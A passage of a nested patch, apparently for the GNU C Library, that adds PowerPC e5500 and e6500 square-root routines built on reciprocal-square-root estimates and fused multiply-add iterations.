-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
